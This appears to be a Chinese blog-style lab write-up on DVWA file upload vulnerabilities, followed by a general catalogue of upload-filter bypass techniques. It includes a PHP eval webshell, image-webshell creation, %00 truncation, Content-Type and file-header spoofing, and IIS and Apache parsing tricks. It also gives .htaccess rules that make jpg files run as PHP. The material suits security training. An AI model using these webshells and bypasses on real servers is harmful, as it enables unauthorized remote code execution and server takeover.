天天看點

DVWA--檔案上傳漏洞

檔案上傳漏洞定義

檔案上傳漏洞通常是由于上傳檔案的類型、内容沒有進行嚴格的過濾檢查,使得可以通過上傳webshell擷取伺服器權限,是以檔案上傳漏洞帶來的危害通常是毀滅性的。

檔案上傳漏洞的前提

  1. 能上傳的木馬
  2. 上傳的木馬可執行
  3. 還要清楚上傳後的路徑

實作過程

LOW級别

源碼

DVWA--檔案上傳漏洞

basename(path,suffix):傳回path中的檔案名部分,如果可選參數suffix為空,則傳回的檔案名中包含檔案字尾名,反之不包含檔案字尾名。

由源碼可知暫時并沒有進行任何過濾;

(1)建立1.php并上傳

1.php:<?php phpinfo();?>

DVWA--檔案上傳漏洞

可發現上傳成功,伺服器未做任何限制,此時再次通路上傳路徑

http://192.168.254.128/dvwa/hackable/uploads/1.php#

DVWA--檔案上傳漏洞

上傳并執行php檔案,說明存在檔案上傳漏洞

(2)上傳一句話木馬

b.php:<?php @eval($_POST[cmd]);?>

DVWA--檔案上傳漏洞

http://192.168.254.128/dvwa/hackable/uploads/b.php#

頁面沒有報錯說明上傳成功

打開中國菜刀,并且寫入路徑

DVWA--檔案上傳漏洞

路徑:http://192.168.254.128/dvwa/hackable/uploads/b.php

DVWA--檔案上傳漏洞

拿到反彈shell

medium級别

源碼

DVWA--檔案上傳漏洞

可見在源碼中對上傳檔案的大小和類型進行了限制;

解決辦法

1、burpsuit抓包修改

實驗過程

對比上傳成功的資料包和上傳失敗的資料包

上傳成功的資料包

DVWA--檔案上傳漏洞

上傳失敗的資料包

DVWA--檔案上傳漏洞

對上傳失敗的資料包進行修改,便可上傳成功

DVWA--檔案上傳漏洞
DVWA--檔案上傳漏洞

後續在菜刀裡面運作便可;

[也可先上傳b.jpeg,在抓包中再修改檔案名]

2、%00截斷繞過

實驗過程

%00截斷繞過,此時,伺服器會将low.php%00.png認為其檔案名為low.php,解析為PHP檔案(僅限于PHP版本小于5.3.4的版本)

DVWA--檔案上傳漏洞
DVWA--檔案上傳漏洞

high級别

源碼

DVWA--檔案上傳漏洞

substr():傳回字元串的一部分;

$uploaded_ext:等于檔案的字尾名;

getimagesize(string filename):函數會通過讀取檔案頭,傳回圖檔的長、寬等資訊,如果沒有相關的圖檔檔案頭,函數會報錯。

getimagesize():函數限制了上傳檔案的檔案頭(限制了檔案的大小及圖檔尺寸)。

High安全等級采用白名單過濾,隻允許上傳的檔案字尾名為jpg、jpeg、png且檔案大小小于100000位元組。

繞過方法

制作圖檔木馬,檔案上傳與檔案包含結合

copy 1.jpg/b + a.php/a 1a.jpeg

//1.jpg :任一圖檔

//b:二進制

// a.php :一句話木馬

//a:ASCII 生成1a.jpeg

a.php :一句話木馬

DVWA--檔案上傳漏洞

生成圖檔馬,上傳檔案

DVWA--檔案上傳漏洞
DVWA--檔案上傳漏洞

使用檔案包含執行圖檔馬(此時kali開始監聽)

http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/1a.jpeg

DVWA--檔案上傳漏洞

檢視監聽結果(腳本已經執行,但是未連接配接成功是因為腳本内容問題,與操作無關)

DVWA--檔案上傳漏洞

impossible級别

(1)上傳檔案進行了重命名(為md5值,導緻%00截斷無法繞過過濾規則);

(2)加入Anti-CSRF token防護CSRF攻擊;

(3)對檔案的内容做了嚴格的檢查,導緻攻擊者無法上傳含有惡意腳本的檔案;

檔案上傳校驗

用戶端校驗:

javascript校驗(一般隻校驗字尾名)

服務端校驗:

(1) 檔案頭content—type字段校驗(image/gif)

(2) 檔案内容頭校驗(GIF89a)

(3) 字尾名黑名單校驗

(4) 字尾名白名單校驗

(5) 自定義正則校驗

(6) WAF(網絡入侵級防禦系統)裝置校驗

檔案上傳繞過手段

1、用戶端繞過

可以利用burp抓包改包,先上傳一個gif類型的木馬,然後通過burp将其改為asp/php/jsp字尾名即可;

2、服務端繞過

(1) 檔案類型繞過:burp抓包,将content—type字段改為image/gif

(2) 檔案頭繞過:在木馬内容基礎上再加了一些檔案資訊,eg:GIF98a<php phpinfo();?>

(3) 檔案字尾名繞過:

前提黑名單校驗(一般有個專門的blacklist檔案,裡面包含常見的危險腳本檔案),

繞過方法:

找黑名單擴充名的漏網之魚,eg:asa和cer之類

可能存在大小寫繞過漏洞,eg:aSp和pHp之類

能被解析的檔案擴充名清單:jsp jspx jspf asp asa cer aspx php pht php3 php4

3、 配合檔案包含漏洞

前提:校驗規則隻校驗當檔案字尾名為asp/php/jsp的檔案内容是否為木馬;

繞過方式:(以php為例)

(1) 先上傳一個内容為木馬的txt字尾檔案,因為字尾名的關系沒有檢驗内容;

(2) 然後再上傳一個.php檔案,内容為<?php include(“上傳的txt檔案路徑”);?>

(3) 此時,這個php檔案就回去引用txt檔案的内容,進而繞過校驗;

4、 配合伺服器解析漏洞

IIS解析漏洞

使用IIS5.x-6.x版本的伺服器,大多為2003server,網站比較古老,開發語句一般為asp;該解析漏洞也隻能解析asp檔案;

目錄解析:www.xxx.com/xx.asp/xx.jpg

原理:伺服器會預設把.asp,.asa目錄下的檔案都解析成asp檔案

檔案解析:www.xxx.com/xx.asp;.jpg

原理:伺服器會預設不解析;後面的内容;

解析檔案類型:

IIS6.0預設的可執行檔案(asp、/test.asa,/test.cer,/test.cdx)

Apache解析漏洞

原理:apache解析檔案的規則是從左向右開始判斷解析,如果字尾名為不可識别檔案解析,就再往左判斷;

Eg:www.xxx.com/test.php.owf.rar

由于rar,owf都不可識别解析,是以解析成php

其餘配置問題導緻的漏洞:

conf:

AddHandlerphp5-script.php 此時隻要檔案名包含.php就會以php來執行;

AddTypeapplication/x-httpd-php.jpg 即使擴充名是jpg,一樣能以php方式執行;

5、 配合作業系統檔案指令規則

上傳不符合windows檔案命名規則的檔案名,會被windows系統自動去掉不符合規則符号後面的内容;

eg:(test.asp,test.asp(空格),test.php:1.jpg)

6、 CMS、編輯器漏洞

(1) CMS漏洞:可針對不同CMS存在的上傳漏洞進行繞過;

(2) 編輯器漏洞:(eg:FCK、ewebeditor) 可針對編輯器的漏洞進行繞過;

7、 配合其他規則

(1)0x00截斷:基于一個組合邏輯漏洞造成的,通常存在于建構上傳檔案路徑的時候,路徑/upload/1.php(0x00),檔案名1.jpg,結合/upload/1.php(0x00)/1.jpg

(2).htaccess(上傳目前目錄的該檔案)

AddTtye aaplication/x-http-php.jpg(上傳的jpg均以php執行)

嗯嗯~~就這麼多了

繼續閱讀